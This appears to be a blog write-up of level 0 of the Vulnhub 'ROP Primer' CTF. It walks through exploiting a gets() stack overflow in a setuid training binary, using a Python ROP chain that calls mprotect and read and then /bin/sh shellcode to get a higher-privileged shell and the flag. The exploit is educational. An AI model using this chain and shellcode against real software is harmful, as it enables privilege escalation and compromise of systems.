ROP Primer: Level 0

Barrebas from the Vulnhub CTF Team was kind enough to create a VM with three exercises to get started in return-oriented programming. This blog post covers the first level.

There’s also an accompanying presentation that is definitely worth reading. Thanks a lot to Barrebas for putting it all together.

Let’s start by logging in as the level0 user and running the binary.

level0@rop:~$ ls -l
total 588
-rw-r—— 1 level1 level1     25 Jan 20  2015 flag
-rwsr-xr-x 1 level1 level1 595992 Jan 20  2015 level0
level0@rop:~$ ./level0
[+] ROP tutorial level0
[+] What's your name? heyhey
[+] Bet you can't ROP me, heyhey!
level0@rop:~$ ./level0
[+] ROP tutorial level0
[+] What's your name? lkasdjlkasjdlkasjdljsaldkjasldjlasdjlaskjdslkajdlkasjdaklsjd
[+] Bet you can't ROP me, lkasdjlkasjdlkasjdljsaldkjasldjlasdjlaskjdslkajdlkasjdaklsjd!
Segmentation fault

The program reads a name from the standard input, and based on the Segmentation fault received we know that it doesn’t do a great job at checking its length.

What protections are in place?

level0@rop:~$ cat /proc/sys/kernel/randomize_va_space 
0

ASLR is disabled. What about other mitigations? We can use the checksec script to find out.

level0@rop:~$ gdb -q ./level0
Reading symbols from ./level0…(no debugging symbols found)…done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

The stack is not executable, so we can’t just place shellcode in it and expect it to run.

Next step is to disassemble main.

Breakpoint 1, 0x08048257 in main ()
gdb-peda$ disas
Dump of assembler code for function main:
   0x08048254 <+0>: push   ebp
   0x08048255 <+1>: mov    ebp,esp
=> 0x08048257 <+3>: and    esp,0xfffffff0
   0x0804825a <+6>: sub    esp,0x30
   0x0804825d <+9>: mov    DWORD PTR [esp],0x80ab668
   0x08048264 <+16>:    call   0x8048f40 <puts>
   0x08048269 <+21>:    mov    DWORD PTR [esp],0x80ab680
   0x08048270 <+28>:    call   0x8048d80 <printf>
   0x08048275 <+33>:    lea    eax,[esp+0x10]
   0x08048279 <+37>:    mov    DWORD PTR [esp],eax
   0x0804827c <+40>:    call   0x8048db0 <gets>
   0x08048281 <+45>:    lea    eax,[esp+0x10]
   0x08048285 <+49>:    mov    DWORD PTR [esp+0x4],eax
   0x08048289 <+53>:    mov    DWORD PTR [esp],0x80ab698
   0x08048290 <+60>:    call   0x8048d80 <printf>
   0x08048295 <+65>:    mov    eax,0x0
   0x0804829a <+70>:    leave  
   0x0804829b <+71>:    ret    
End of assembler dump.

gets cannot be used securely, since it doesn’t do any bounds checking. We can override the return address by providing input of the correct length, which is 48 bytes in this case. The last 4 bytes will overwrite the saved EIP.

[+] What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
[+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB!

Program received signal SIGSEGV, Segmentation fault.
[—————————————————registers—————————————————]
EAX: 0x0 
EBX: 0x0 
ECX: 0xbffff69c —> 0x80ca720 —> 0xfbad2a84 
EDX: 0x80cb690 —> 0x0 
ESI: 0x80488e0 (<__libc_csu_fini>:  push   ebp)
EDI: 0x4217c6cf 
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6f0 —> 0x0 
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[——————————————————code——————————————————]
Invalid $PC address: 0x42424242
[——————————————————stack——————————————————]
0000| 0xbffff6f0 ——————————————————> 0x0 
0004| 0xbffff6f4 ——————————————————> 0xbffff784 ——————————————————> 0xbffff8af ("/home/level0/level0")
0008| 0xbffff6f8 ——————————————————> 0xbffff78c ——————————————————> 0xbffff8c3 ("XDG_SESSION_ID=2")
0012| 0xbffff6fc ——————————————————> 0x0 
0016| 0xbffff700 ——————————————————> 0x0 
0020| 0xbffff704 ——————————————————> 0x0 
0024| 0xbffff708 ——————————————————> 0x0 
0028| 0xbffff70c ——————————————————> 0x0 
[———————————————————————————————————————]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

The idea to is to spawn a shell, so let’s get the address of system.

gdb-peda$ p system
No symbol table is loaded.  Use the "file" command.

There’s no system! This means calling system("/bin/sh") is not possible with this binary.

However, we still have mprotect and read. It’s possible to mark some memory area as writable and executable, read the shellcode from STDIN and direct execution there.

gdb-peda$ p mprotect
$3 = {<text variable, no debug info>} 0x80523e0 <mprotect>
gdb-peda$ p read
$4 = {<text variable, no debug info>} 0x80517f0 <read>

vmmap is a useful command to see how memory is mapped.

Breakpoint 1, 0x08048257 in main ()
gdb-peda$ vmmap
Start      End        Perm  Name
0x08048000 0x080ca000 r-xp  /home/level0/level0
0x080ca000 0x080cb000 rw-p  /home/level0/level0
0x080cb000 0x080ef000 rw-p  [heap]
0xb7fff000 0xb8000000 r-xp  [vdso]
0xbffdf000 0xc0000000 rw-p  [stack]

mprotect takes three parameters: the memory address, the length in bytes, and a bitmap specifying the protection level. Let’s just call it on 4KB of the memory mapped to the binary and set the protection level to PROT_READ | PROT_WRITE | PROT_EXEC.

level0@rop:~$ cat exp.py 
#!/bin/env python

import struct

def p(x):
    return struct.pack('<L', x)

mprotect = 0x080523e0

# empty payload
payload = ""

# padding
payload += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

# mark memory as rwx
payload += p(mprotect)
payload += "BBBB"
payload += p(0x080ca000)    # address
payload += p(0x1000)        # size
payload += p(0x7)           # PROT_READ| PROT_WRITE| PROT_EXEC

print payload

If the exploit works correctly, the program will SIGSEGV with EIP pointing to 0x42424242 and 4KB starting from 0x804ca000 will be marked as rwx.

level0@rop:~$ python exp.py > input

gdb-peda$ b main
Breakpoint 1 at 0x8048257
gdb-peda$ r < input
Breakpoint 1, 0x08048257 in main ()
gdb-peda$ vmmap
Start      End        Perm  Name
0x08048000 0x080ca000 r-xp  /home/level0/level0
0x080ca000 0x080cb000 rw-p  /home/level0/level0
0x080cb000 0x080ef000 rw-p  [heap]
0xb7fff000 0xb8000000 r-xp  [vdso]
0xbffdf000 0xc0000000 rw-p  [stack]

Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$ vmmap
Start      End        Perm  Name
0x08048000 0x080ca000 r-xp  /home/level0/level0
0x080ca000 0x080cb000 rwxp  /home/level0/level0
0x080cb000 0x080ef000 rw-p  [heap]
0xb7ffd000 0xb7fff000 rw-p  mapped
0xb7fff000 0xb8000000 r-xp  [vdso]
0xbffdf000 0xc0000000 rw-p  [stack]

It worked.

We now need to get rid of mprotect’s parameters in the stack and redirect execution to the next gadget. There are three parameters left in the stack, so we need a POP-POP-POP-RET gadget.

gdb-peda$ ropgadget
ret = 0x8048106
addesp_4 = 0x804a278
popret = 0x8048550
pop2ret = 0x8048883
pop4ret = 0x8048881
pop3ret = 0x8048882
addesp_8 = 0x804b7f8

We can use the pop3ret gadget available at 0x8048882.

The next step is to call read on STDIN so we can insert the desired shellcode into the wx memory region. read takes three parameters: a file descriptor, a pointer to the buffer where the input will be stored, and the number of bytes to read.

We want to execute the shellcode after it is read, so we can set the return address to the start of the executable region (0x080ca000).

The final exploit looks like the following:

#!/bin/env python

import struct

def p(x):
    return struct.pack('<L', x)

mprotect = 0x080523e0
pop3ret = 0x8048882
read = 0x080517f0

# empty payload
payload = ""

# padding
payload += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

# mark memory as rwx
payload += p(mprotect)
payload += p(pop3ret)
payload += p(0x080ca000)    # address
payload += p(0x1000)        # size
payload += p(0x7)           # PROT_READ| PROT_WRITE| PROT_EXEC

# read shellcode from stdin
payload += p(read)
payload += p(0x080ca000)
payload += p(0x0)           # fd = STDIN
payload += p(0x080ca000)    # buf
payload += p(0x100)         # nbyte

print payload

It’s always a good idea to start with a simple int3 shellcode that generates a trap exception. This ensures that the shellcode is indeed being executed.

level0@rop:~$ (python ./exp.py; python -c 'print "\xcc"') | ./level0 
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??!
Trace/breakpoint trap

Replacing \xcc with a shell spawning shellcode should allow us to read the flag.

level0@rop:~$ (python ./exp.py; python -c 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"') | ./level0 
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??!
level0@rop:~$ id
uid=1000(level0) gid=1000(level0) groups=1000(level0)

Why are we still level0? Let’s keep the shell alive!

level0@rop:~$ (python ./exp.py; python -c 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'; cat) | ./level0 
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??!
whoami
level1
cat flag
flag{rop_the_night_away}
Advertisement

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s